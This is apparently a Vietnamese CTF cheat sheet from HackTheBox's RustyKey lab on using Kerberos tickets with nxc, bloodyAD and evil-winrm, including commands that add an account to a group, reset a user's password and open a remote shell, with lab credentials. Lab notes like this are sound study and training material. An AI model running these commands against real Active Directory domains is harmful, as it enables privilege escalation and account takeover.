# Kerberos Authentication ticket

Cách sử dụng Kerberos Authentication ticket cho một số tool

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1757488029038/923ff8a1-881f-4ce4-8f3d-49bd46fc0de8.png align="center")

# Impacket

…

# nxc (-k)

```powershell
nxc ldap 10.10.11.75  -u rr.parker -p '8#t5HE8L!W3A' -k
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1757487977504/ff791039-6fd8-4f2d-b58a-ec6fb16d2f44.png align="center")

# bloodyAD (-k)

### bloodyAD add groupMember

```powershell
bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' add groupMember HELPDESK 'IT-COMPUTER3$'
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1757487919003/b0504f23-77c1-4587-abbb-52b28811dbc7.png align="center")

### bloodyAD set password

```powershell
bloodyAD -k --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' set password bb.morgan 'Ahihi@123'
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1757488182190/6b636041-5a4b-42fe-aea5-0a4c6a23d900.png align="center")

# evil-winrm (-r)

Tham số -r được cấu hình tại /etc/krb5.conf

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1757491770356/d1f95945-2d06-4df7-942b-8bd67dc4e097.png align="center")

Cấu hình tại /etc/krb5.conf

```powershell
[libdefaults]
    default_realm = RUSTYKEY.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false

[realms]
    RUSTYKEY.HTB = {
        kdc = dc.rustykey.htb
        admin_server = dc.rustykey.htb
    }

[domain_realm]
    .rustykey.htb = RUSTYKEY.HTB
    rustykey.htb = RUSTYKEY.HTB
```

```powershell
evil-winrm -i dc.rustykey.htb -u 'bb.morgan' -r rustykey.htb
```

Để ý lỗi này => đồng bộ time là được

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1757491701991/56bcb5fd-1682-42a3-84da-be89ddce7432.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1757491857335/08d03322-f5fa-437c-a8bc-a3af1c3fa8f3.png align="center")